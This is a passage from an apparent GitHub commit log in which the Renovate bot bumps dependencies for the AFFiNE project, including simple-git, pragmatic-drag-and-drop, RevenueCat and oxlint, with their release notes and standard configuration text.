[@​Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [#​143](https://redirect.github.com/Brooooooklyn/simple-git/pull/143) **Full Changelog**: <https://github.com/Brooooooklyn/simple-git/compare/v0.1.22...v1.0.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
e8fefc82c1 |
chore: bump up @atlaskit/pragmatic-drag-and-drop version to v2 (#15394)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@atlaskit/pragmatic-drag-and-drop](https://atlassian.design/components/pragmatic-drag-and-drop/) ([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop)) | [`^1.7.7` → `^2.0.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop/1.8.1/2.0.1) |  |  | --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
3824018d2d |
chore: bump up RevenueCat/purchases-ios-spm version to from: "5.83.0" (#15393)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm) | minor | `from: "5.82.0"` → `from: "5.83.0"` | --- ### Release Notes <details> <summary>RevenueCat/purchases-ios-spm (RevenueCat/purchases-ios-spm)</summary> ### [`v5.83.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.82.0...5.83.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.82.0...5.83.0) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
ea7df7f428 |
chore: bump up RevenueCat/purchases-ios-spm version to from: "5.82.0" (#15388)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm) | minor | `from: "5.76.0"` → `from: "5.82.0"` | --- ### Release Notes <details> <summary>RevenueCat/purchases-ios-spm (RevenueCat/purchases-ios-spm)</summary> ### [`v5.82.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.3...5.82.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.3...5.82.0) ### [`v5.81.3`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.2...5.81.3) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.2...5.81.3) ### [`v5.81.2`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.1...5.81.2) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.1...5.81.2) ### [`v5.81.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.0...5.81.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.81.0...5.81.1) ### [`v5.81.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.3...5.81.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.3...5.81.0) ### [`v5.80.3`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.2...5.80.3) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.2...5.80.3) ### [`v5.80.2`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.1...5.80.2) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.1...5.80.2) ### [`v5.80.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.0...5.80.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.80.0...5.80.1) ### [`v5.80.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.79.0...5.80.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.79.0...5.80.0) ### [`v5.79.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.78.0...5.79.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.78.0...5.79.0) ### [`v5.78.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.77.0...5.78.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.77.0...5.78.0) ### [`v5.77.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.76.0...5.77.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.76.0...5.77.0) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
renovate[bot]
|
d124d6eaca |
chore: bump up oxlint version to v1.76.0 (#15387)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [oxlint](https://oxc.rs/docs/guide/usage/linter) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`1.68.0` → `1.76.0`](https://renovatebot.com/diffs/npm/oxlint/1.68.0/1.76.0) |  |  | --- ### Release Notes <details> <summary>oxc-project/oxc (oxlint)</summary> ### [`v1.76.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1760---2026-07-27) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.75.0...oxlint_v1.76.0) ##### 🚀 Features - [`8d31dfa`](https://redirect.github.com/oxc-project/oxc/commit/8d31dfa) linter: Verify eslint/no-restricted-globals config schema ([#​24598](https://redirect.github.com/oxc-project/oxc/issues/24598)) (vigneshwar) - [`7069621`](https://redirect.github.com/oxc-project/oxc/commit/7069621) linter: Verify jest/vitest prefer-lowercase-title config schema ([#​24724](https://redirect.github.com/oxc-project/oxc/issues/24724)) (Bartok) - [`016cf2a`](https://redirect.github.com/oxc-project/oxc/commit/016cf2a) linter/oxc: Add bad-match-all-arg rule ([#​24900](https://redirect.github.com/oxc-project/oxc/issues/24900)) (camc314) - [`cdc941e`](https://redirect.github.com/oxc-project/oxc/commit/cdc941e) linter/n: Implement `exports-style` rule ([#​24087](https://redirect.github.com/oxc-project/oxc/issues/24087)) (Mikhail Baev) - [`1ad6f6c`](https://redirect.github.com/oxc-project/oxc/commit/1ad6f6c) linter/eslint: Implement `id-denylist` rule ([#​24632](https://redirect.github.com/oxc-project/oxc/issues/24632)) (Mikhail Baev) ##### 📚 Documentation - [`3ff2e0e`](https://redirect.github.com/oxc-project/oxc/commit/3ff2e0e) linter: Clarify config extends types ([#​24936](https://redirect.github.com/oxc-project/oxc/issues/24936)) (Boshen) ### [`v1.75.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1750---2026-07-20) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.74.0...oxlint_v1.75.0) ##### 🚀 Features - [`dd18383`](https://redirect.github.com/oxc-project/oxc/commit/dd18383) linter/node: Implement no-top-level-await rule ([#​24634](https://redirect.github.com/oxc-project/oxc/issues/24634)) (Connor Shea) - [`16a65f2`](https://redirect.github.com/oxc-project/oxc/commit/16a65f2) linter/react: Implement function-component-definition rule ([#​24471](https://redirect.github.com/oxc-project/oxc/issues/24471)) (Cole Ellison) - [`7f1f585`](https://redirect.github.com/oxc-project/oxc/commit/7f1f585) linter: Reuse `jest/padding-around-test-blocks` for `vitest/padding-around-test-blocks` ([#​24519](https://redirect.github.com/oxc-project/oxc/issues/24519)) (Mikhail Baev) - [`99978a8`](https://redirect.github.com/oxc-project/oxc/commit/99978a8) linter/import/consistent-type-specifier-style: Support `prefer-top-level-if-only-type-imports` option ([#​24502](https://redirect.github.com/oxc-project/oxc/issues/24502)) (camc314) ##### 🐛 Bug Fixes - [`8694167`](https://redirect.github.com/oxc-project/oxc/commit/8694167) linter/eslint/prefer-destructuring: Handle typed declarations ([#​24616](https://redirect.github.com/oxc-project/oxc/issues/24616)) (camc314) ### [`v1.74.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1740---2026-07-13) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.73.0...oxlint_v1.74.0) ##### 🚀 Features - [`0433a83`](https://redirect.github.com/oxc-project/oxc/commit/0433a83) linter/eslint/no-inner-declarations: Add `namespaces` option ([#​24044](https://redirect.github.com/oxc-project/oxc/issues/24044)) (Boshen) ##### 🐛 Bug Fixes - [`8337835`](https://redirect.github.com/oxc-project/oxc/commit/8337835) linter: Error on `ignorePatterns` that cannot match files aoutside the config directory ([#​24341](https://redirect.github.com/oxc-project/oxc/issues/24341)) (leaysgur) - [`2ce5a33`](https://redirect.github.com/oxc-project/oxc/commit/2ce5a33) linter: Resolve `ignorePatterns` relative to the config dir ([#​24339](https://redirect.github.com/oxc-project/oxc/issues/24339)) (leaysgur) ##### ⚡ Performance - [`7f80cac`](https://redirect.github.com/oxc-project/oxc/commit/7f80cac) linter/vue/prop-name-casing: Precompile `ignoreProps` regex pattern ([#​24413](https://redirect.github.com/oxc-project/oxc/issues/24413)) (connorshea) - [`6272051`](https://redirect.github.com/oxc-project/oxc/commit/6272051) linter/typescript/no-require-imports: Compile allow patterns once ([#​24417](https://redirect.github.com/oxc-project/oxc/issues/24417)) (connorshea) - [`33805b9`](https://redirect.github.com/oxc-project/oxc/commit/33805b9) linter/jsdoc/require-param: Compile checkTypesPattern regex once ([#​24420](https://redirect.github.com/oxc-project/oxc/issues/24420)) (connorshea) ### [`v1.73.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1730---2026-07-06) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.72.0...oxlint_v1.73.0) ##### 🚀 Features - [`a2c97f3`](https://redirect.github.com/oxc-project/oxc/commit/a2c97f3) linter/unicorn: Implement `explicit-timer-delay` rule ([#​23612](https://redirect.github.com/oxc-project/oxc/issues/23612)) (Mikhail Baev) - [`85735cb`](https://redirect.github.com/oxc-project/oxc/commit/85735cb) linter/unicorn: Implement `no-confusing-array-with` rule ([#​23638](https://redirect.github.com/oxc-project/oxc/issues/23638)) (Shekhu☺️) - [`cb4fbb9`](https://redirect.github.com/oxc-project/oxc/commit/cb4fbb9) linter/eslint: Implement no-unreachable-loop rule ([#​23975](https://redirect.github.com/oxc-project/oxc/issues/23975)) (Todor Andonov) - [`dc32112`](https://redirect.github.com/oxc-project/oxc/commit/dc32112) linter/eslint/no-constant-binary-expression: Check relational comparisons ([#​24088](https://redirect.github.com/oxc-project/oxc/issues/24088)) (camc314) - [`d963967`](https://redirect.github.com/oxc-project/oxc/commit/d963967) linter/unicorn/no-array-sort: Add `allowAfterSpread` option ([#​24043](https://redirect.github.com/oxc-project/oxc/issues/24043)) (Boshen) - [`0a75682`](https://redirect.github.com/oxc-project/oxc/commit/0a75682) linter: Add per-rule timings for type-aware linting ([#​22488](https://redirect.github.com/oxc-project/oxc/issues/22488)) (camchenry) - [`743e222`](https://redirect.github.com/oxc-project/oxc/commit/743e222) linter/react: Add `disallowedValues` option for `forbid-dom-props` rule ([#​23970](https://redirect.github.com/oxc-project/oxc/issues/23970)) (Mikhail Baev) ##### 🐛 Bug Fixes - [`bdb51c7`](https://redirect.github.com/oxc-project/oxc/commit/bdb51c7) linter/jest/prefer-ending-with-an-expect: Validate config patterns ([#​24122](https://redirect.github.com/oxc-project/oxc/issues/24122)) (camc314) - [`45d607d`](https://redirect.github.com/oxc-project/oxc/commit/45d607d) linter/react/forbid-component-props: Make allow/disallow lists optional in schema ([#​24024](https://redirect.github.com/oxc-project/oxc/issues/24024)) (Boshen) ### [`v1.72.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1720---2026-06-29) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.71.0...oxlint_v1.72.0) ##### 🚀 Features - [`1c8f50c`](https://redirect.github.com/oxc-project/oxc/commit/1c8f50c) linter: Add schema for `eslint/no-restricted-import` ([#​23642](https://redirect.github.com/oxc-project/oxc/issues/23642)) (Sysix) ##### 🐛 Bug Fixes - [`742be36`](https://redirect.github.com/oxc-project/oxc/commit/742be36) refactor/node/handle-callback-err: Reject invalid regex config ([#​23740](https://redirect.github.com/oxc-project/oxc/issues/23740)) (camc314) ### [`v1.71.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1710---2026-06-22) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.70.0...oxlint_v1.71.0) ##### 🚀 Features - [`0dc2405`](https://redirect.github.com/oxc-project/oxc/commit/0dc2405) linter: Add schema for `eslint/no-restricted-properties` ([#​23619](https://redirect.github.com/oxc-project/oxc/issues/23619)) (Sysix) - [`b638d0e`](https://redirect.github.com/oxc-project/oxc/commit/b638d0e) linter: Add schema for `node/callback-return` ([#​23615](https://redirect.github.com/oxc-project/oxc/issues/23615)) (Sysix) - [`eb8bedc`](https://redirect.github.com/oxc-project/oxc/commit/eb8bedc) linter: Add schema for `import/extensions` ([#​23557](https://redirect.github.com/oxc-project/oxc/issues/23557)) (WaterWhisperer) - [`46f3625`](https://redirect.github.com/oxc-project/oxc/commit/46f3625) linter: Implement node/no-sync rule ([#​23589](https://redirect.github.com/oxc-project/oxc/issues/23589)) (fujitani sora) - [`b01739a`](https://redirect.github.com/oxc-project/oxc/commit/b01739a) linter: Add schema for `unicorn/numeric-separators-style` ([#​23554](https://redirect.github.com/oxc-project/oxc/issues/23554)) (Mikhail Baev) - [`68afd2a`](https://redirect.github.com/oxc-project/oxc/commit/68afd2a) linter/node: Implement `no-mixed-requires` rule ([#​23539](https://redirect.github.com/oxc-project/oxc/issues/23539)) (fujitani sora) - [`a421215`](https://redirect.github.com/oxc-project/oxc/commit/a421215) linter: Add schema for `eslint/prefer-destructuring` ([#​23410](https://redirect.github.com/oxc-project/oxc/issues/23410)) (WaterWhisperer) - [`84438be`](https://redirect.github.com/oxc-project/oxc/commit/84438be) linter/jsdoc: Added missing options to `require-param-description` ([#​23416](https://redirect.github.com/oxc-project/oxc/issues/23416)) (kapobajza) - [`51910df`](https://redirect.github.com/oxc-project/oxc/commit/51910df) linter/jsdoc: Add missing options to `require-param-type` rule ([#​23418](https://redirect.github.com/oxc-project/oxc/issues/23418)) (kapobajza) - [`e90925f`](https://redirect.github.com/oxc-project/oxc/commit/e90925f) linter/unicorn: Implement prefer-number-coercion rule ([#​23497](https://redirect.github.com/oxc-project/oxc/issues/23497)) (Shekhu☺️) - [`dd1c866`](https://redirect.github.com/oxc-project/oxc/commit/dd1c866) linter/vue: Implement no-async-in-computed-properties rule ([#​23493](https://redirect.github.com/oxc-project/oxc/issues/23493)) (bab) - [`b02444e`](https://redirect.github.com/oxc-project/oxc/commit/b02444e) linter: Add schema for `react/jsx-no-script-url` ([#​23475](https://redirect.github.com/oxc-project/oxc/issues/23475)) (WaterWhisperer) - [`a8dce46`](https://redirect.github.com/oxc-project/oxc/commit/a8dce46) linter/unicorn: Implement `max-nested-calls` rule ([#​23461](https://redirect.github.com/oxc-project/oxc/issues/23461)) (arieleli01212) ##### 🐛 Bug Fixes - [`a303c23`](https://redirect.github.com/oxc-project/oxc/commit/a303c23) linter/jsx-a11y: Align `anchor-is-valid` config with upstream ([#​23446](https://redirect.github.com/oxc-project/oxc/issues/23446)) (camc314) ##### 📚 Documentation - [`b50bf4d`](https://redirect.github.com/oxc-project/oxc/commit/b50bf4d) linter: Remove manually written options doc for `eslint/arrow-body-style` ([#​23490](https://redirect.github.com/oxc-project/oxc/issues/23490)) (Mikhail Baev) ### [`v1.70.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1700---2026-06-15) [Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.69.0...oxlint_v1.70.0) ##### 🚀 Features - [`2e8bda4`](https://redirect.github.com/oxc-project/oxc/commit/2e8bda4) linter/vue: Implement no-dupe-keys rule ([#​23350](https://redirect.github.com/oxc-project/oxc/issues/23350)) (bab) - [`1490a0a`](https://redirect.github.com/oxc-project/oxc/commit/1490a0a) linter/react: Implement react-compiler rule ([#​23202](https://redirect.github.com/oxc-project/oxc/issues/23202)) (Boshen) - [`dd560ae`](https://redirect.github.com/oxc-project/oxc/commit/dd560ae) linter/unicorn: Implement `no-array-fill-with-reference-type` rule ([#​23397](https://redirect.github.com/oxc-project/oxc/issues/23397)) (Mikhail Baev) - [`af36c2f`](https://redirect.github.com/oxc-project/oxc/commit/af36c2f) linter: Add schema for `react/jsx-curly-brace-presence` ([#​23400](https://redirect.github.com/oxc-project/oxc/issues/23400)) (WaterWhisperer) - [`47d34a3`](https://redirect.github.com/oxc-project/oxc/commit/47d34a3) linter: Add schema for `react/jsx-handler-names` ([#​23393](https://redirect.github.com/oxc-project/oxc/issues/23393)) (WaterWhisperer) - [`f4250d0`](https://redirect.github.com/oxc-project/oxc/commit/f4250d0) linter: Add schema for `unicorn/import-style` ([#​23386](https://redirect.github.com/oxc-project/oxc/issues/23386)) (WaterWhisperer) - [`30c74ce`](https://redirect.github.com/oxc-project/oxc/commit/30c74ce) linter: Add schema for `jsx_a11y/no-noninteractive-element-to-interactive-role` ([#​23384](https://redirect.github.com/oxc-project/oxc/issues/23384)) (Sysix) - [`cfbe8dc`](https://redirect.github.com/oxc-project/oxc/commit/cfbe8dc) linter: Add schema for `jsx_a11y/no-interactive-element-to-noninteractive-role` ([#​23382](https://redirect.github.com/oxc-project/oxc/issues/23382)) (WaterWhisperer) - [`d15b7ff`](https://redirect.github.com/oxc-project/oxc/commit/d15b7ff) linter: Add schema for `typescript/no-restricted-types` ([#​23381](https://redirect.github.com/oxc-project/oxc/issues/23381)) (WaterWhisperer) - [`028a811`](https://redirect.github.com/oxc-project/oxc/commit/028a811) linter: Add schema for `jsx-a11y/media-has-caption` ([#​23377](https://redirect.github.com/oxc-project/oxc/issues/23377)) (Sysix) - [`b3b1038`](https://redirect.github.com/oxc-project/oxc/commit/b3b1038) linter: Add schema for `jsx-a11y/label-has-associated-control` ([#​23376](https://redirect.github.com/oxc-project/oxc/issues/23376)) (Sysix) - [`7ada6b2`](https://redirect.github.com/oxc-project/oxc/commit/7ada6b2) linter: Add schema for `jsx_a11y/no-distracting-elements` ([#​23379](https://redirect.github.com/oxc-project/oxc/issues/23379)) (WaterWhisperer) - [`ee3dd49`](https://redirect.github.com/oxc-project/oxc/commit/ee3dd49) linter: Add schema for `jsx-a11y/img-redundant-alt` ([#​23374](https://redirect.github.com/oxc-project/oxc/issues/23374)) (Sysix) - [`df5f8dd`](https://redirect.github.com/oxc-project/oxc/commit/df5f8dd) linter: Add short descriptions to most lint rules. ([#​23365](https://redirect.github.com/oxc-project/oxc/issues/23365)) (Connor Shea) - [`e3fd735`](https://redirect.github.com/oxc-project/oxc/commit/e3fd735) linter: Add schema for `jsx_a11y/alt-text` ([#​23369](https://redirect.github.com/oxc-project/oxc/issues/23369)) (Sysix) - [`0f2fff4`](https://redirect.github.com/oxc-project/oxc/commit/0f2fff4) linter: Add schema for `react/exhaustive-deps` ([#​23372](https://redirect.github.com/oxc-project/oxc/issues/23372)) (Mikhail Baev) - [`e3e4e10`](https://redirect.github.com/oxc-project/oxc/commit/e3e4e10) linter: Add schema for `react_perf/jsx-no-new-object-as-prop` ([#​23368](https://redirect.github.com/oxc-project/oxc/issues/23368)) (Mikhail Baev) - [`9366d44`](https://redirect.github.com/oxc-project/oxc/commit/9366d44) linter: Add schema for `unicorn/prefer-at` ([#​23366](https://redirect.github.com/oxc-project/oxc/issues/23366)) (WaterWhisperer) - [`f57b55d`](https://redirect.github.com/oxc-project/oxc/commit/f57b55d) linter: Add schema for `typescript/array-type` ([#​23355](https://redirect.github.com/oxc-project/oxc/issues/23355)) (Sysix) - [`0dcf912`](https://redirect.github.com/oxc-project/oxc/commit/0dcf912) linter: Add schema for `typescript/ban-ts-comment` ([#​23354](https://redirect.github.com/oxc-project/oxc/issues/23354)) (Sysix) - [`51fa83e`](https://redirect.github.com/oxc-project/oxc/commit/51fa83e) linter: Add schema for `react/no-did-update-set-state` ([#​23357](https://redirect.github.com/oxc-project/oxc/issues/23357)) (Mikhail Baev) - [`59db0bd`](https://redirect.github.com/oxc-project/oxc/commit/59db0bd) linter: Add schema for `consistent-generic-constructors` ([#​23353](https://redirect.github.com/oxc-project/oxc/issues/23353)) (Sysix) - [`c4775c0`](https://redirect.github.com/oxc-project/oxc/commit/c4775c0) linter: Add schema for `typescript/consistent-type-assertions` ([#​23349](https://redirect.github.com/oxc-project/oxc/issues/23349)) (Sysix) - [`6e516f7`](https://redirect.github.com/oxc-project/oxc/commit/6e516f7) linter: Add schema for `typescript/consistent-type-imports` ([#​23348](https://redirect.github.com/oxc-project/oxc/issues/23348)) (Sysix) - [`012134d`](https://redirect.github.com/oxc-project/oxc/commit/012134d) linter: Add schema for `react/jsx-no-target-blank` ([#​23345](https://redirect.github.com/oxc-project/oxc/issues/23345)) (WaterWhisperer) - [`0806aae`](https://redirect.github.com/oxc-project/oxc/commit/0806aae) linter: Add schema for `jsx_a11y/no-noninteractive-tabindex` ([#​23337](https://redirect.github.com/oxc-project/oxc/issues/23337)) (Mikhail Baev) - [`0708b5a`](https://redirect.github.com/oxc-project/oxc/commit/0708b5a) linter: Add schema for `react/jsx-filename-extension` ([#​23315](https://redirect.github.com/oxc-project/oxc/issues/23315)) (Mikhail Baev) - [`150bce1`](https://redirect.github.com/oxc-project/oxc/commit/150bce1) linter: Add schema for `typescript/no-empty-object-type` ([#​23309](https://redirect.github.com/oxc-project/oxc/issues/23309)) (Sysix) - [`f9e36f1`](https://redirect.github.com/oxc-project/oxc/commit/f9e36f1) linter: Add schema for `typescript/no-duplicate-type-constituents` ([#​23308](https://redirect.github.com/oxc-project/oxc/issues/23308)) (Sysix) - [`937accf`](https://redirect.github.com/oxc-project/oxc/commit/937accf) linter: Add schema for `typescript/no-invalid-void-type` ([#​23307](https://redirect.github.com/oxc-project/oxc/issues/23307)) (Sysix) - [`3e042b9`](https://redirect.github.com/oxc-project/oxc/commit/3e042b9) linter: Add schema for `typescript/no-misused-promises` ([#​23306](https://redirect.github.com/oxc-project/oxc/issues/23306)) (Sysix) - [`da212d1`](https://redirect.github.com/oxc-project/oxc/commit/da212d1) linter: Add schema for `typescript/no-unnecessary-condition` ([#​23305](https://redirect.github.com/oxc-project/oxc/issues/23305)) (Sysix) - [`f8f0d38`](https://redirect.github.com/oxc-project/oxc/commit/f8f0d38) linter: Add schema for `typescript/parameter-properties` ([#​23304](https://redirect.github.com/oxc-project/oxc/issues/23304)) (Sysix) - [`2275fc7`](https://redirect.github.com/oxc-project/oxc/commit/2275fc7) linter: Add schema for `typescript/prefer-nullish-coalescing` ([#​23302](https://redirect.github.com/oxc-project/oxc/issues/23302)) (Sysix) - [`d353858`](https://redirect.github.com/oxc-project/oxc/commit/d353858) linter: Add schema for `typescript/prefer-string-starts-ends-with` ([#​23301](https://redirect.github.com/oxc-project/oxc/issues/23301)) (Sysix) - [`03060f5`](https://redirect.github.com/oxc-project/oxc/commit/03060f5) linter: Add schema for `typescript/triple-slash-reference` ([#​23300](https://redirect.github.com/oxc-project/oxc/issues/23300)) (Sysix) - [`6619cee`](https://redirect.github.com/oxc-project/oxc/commit/6619cee) linter: Add schema for `promise/param-names` ([#​23298](https://redirect.github.com/oxc-project/oxc/issues/23298)) (Sysix) - [`8bf108e`](https://redirect.github.com/oxc-project/oxc/commit/8bf108e) linter: Add schema for `promise/catch-or-return` ([#​23297](https://redirect.github.com/oxc-project/oxc/issues/23297)) (Sysix) - [`48158d0`](https://redirect.github.com/oxc-project/oxc/commit/48158d0) linter: Add schema for `vitest/consistent-each-for` ([#​23294](https://redirect.github.com/oxc-project/oxc/issues/23294)) (Sysix) - [`7e74c98`](https://redirect.github.com/oxc-project/oxc/commit/7e74c98) linter: Add schema for `vitest/consistent-test-filename` ([#​23293](https://redirect.github.com/oxc-project/oxc/issues/23293)) (Sysix) - [`ff94d4a`](https://redirect.github.com/oxc-project/oxc/commit/ff94d4a) linter: Add schema for `vitest/consistent-vitest-vi` ([#​23292](https://redirect.github.com/oxc-project/oxc/issues/23292)) (Sysix) - [`2409a10`](https://redirect.github.com/oxc-project/oxc/commit/2409a10) linter: Add schema for `vitest/prefer-import-in-mock` ([#​23291](https://redirect.github.com/oxc-project/oxc/issues/23291)) (Sysix) - [`3d782b7`](https://redirect.github.com/oxc-project/oxc/commit/3d782b7) linter: Add schema for `react/no-unstable-nested-components` ([#​23287](https://redirect.github.com/oxc-project/oxc/issues/23287)) (Mikhail Baev) - [`0a0bc2f`](https://redirect.github.com/oxc-project/oxc/commit/0a0bc2f) linter/jsx-a11y: Add `allowedRedundantRoles` option to `no-redundant-roles` ([#​22820](https://redirect.github.com/oxc-project/oxc/issues/22820)) (bab) - [`80758a5`](https://redirect.github.com/oxc-project/oxc/commit/80758a5) linter/vue: Implement no-side-effects-in-computed-properties rule ([#​23282](https://redirect.github.com/oxc-project/oxc/issues/23282)) (bab) - [`e3869ac`](https://redirect.github.com/oxc-project/oxc/commit/e3869ac) linter: Add schema for `react/no-object-type-as-default-prop` ([#​23279](https://redirect.github.com/oxc-project/oxc/issues/23279)) (Mikhail Baev) - [`4480609`](https://redirect.github.com/oxc-project/oxc/commit/4480609) linter: Add schema for `react/jsx-props-no-spreading` ([#​23276](https://redirect.github.com/oxc-project/oxc/issues/23276)) (Mikhail Baev) - [`08d68a5`](https://redirect.github.com/oxc-project/oxc/commit/08d68a5) linter/react: Implement `jsx-no-literals` rule ([#​23145](https://redirect.github.com/oxc-project/oxc/issues/23145)) (kapobajza) - [`9a2788b`](https://redirect.github.com/oxc-project/oxc/commit/9a2788b) linter/unicorn: Implement `prefer-export-from` rule ([#​22935](https://redirect.github.com/oxc-project/oxc/issues/22935)) (AliceLanniste) - [`bdb723c`](https://redirect.github.com/oxc-project/oxc/commit/bdb723c) linter/unicorn: Implement prefer-single-call rule ([#​23235](https://redirect.github.com/oxc-project/oxc/issues/23235)) (Yuzhe Shi) - [`31543ed`](https://redirect.github.com/oxc-project/oxc/commit/31543ed) linter: Add schema for `vue/define-props-destructuring` ([#​23252](https://redirect.github.com/oxc-project/oxc/issues/23252)) (Sysix) - 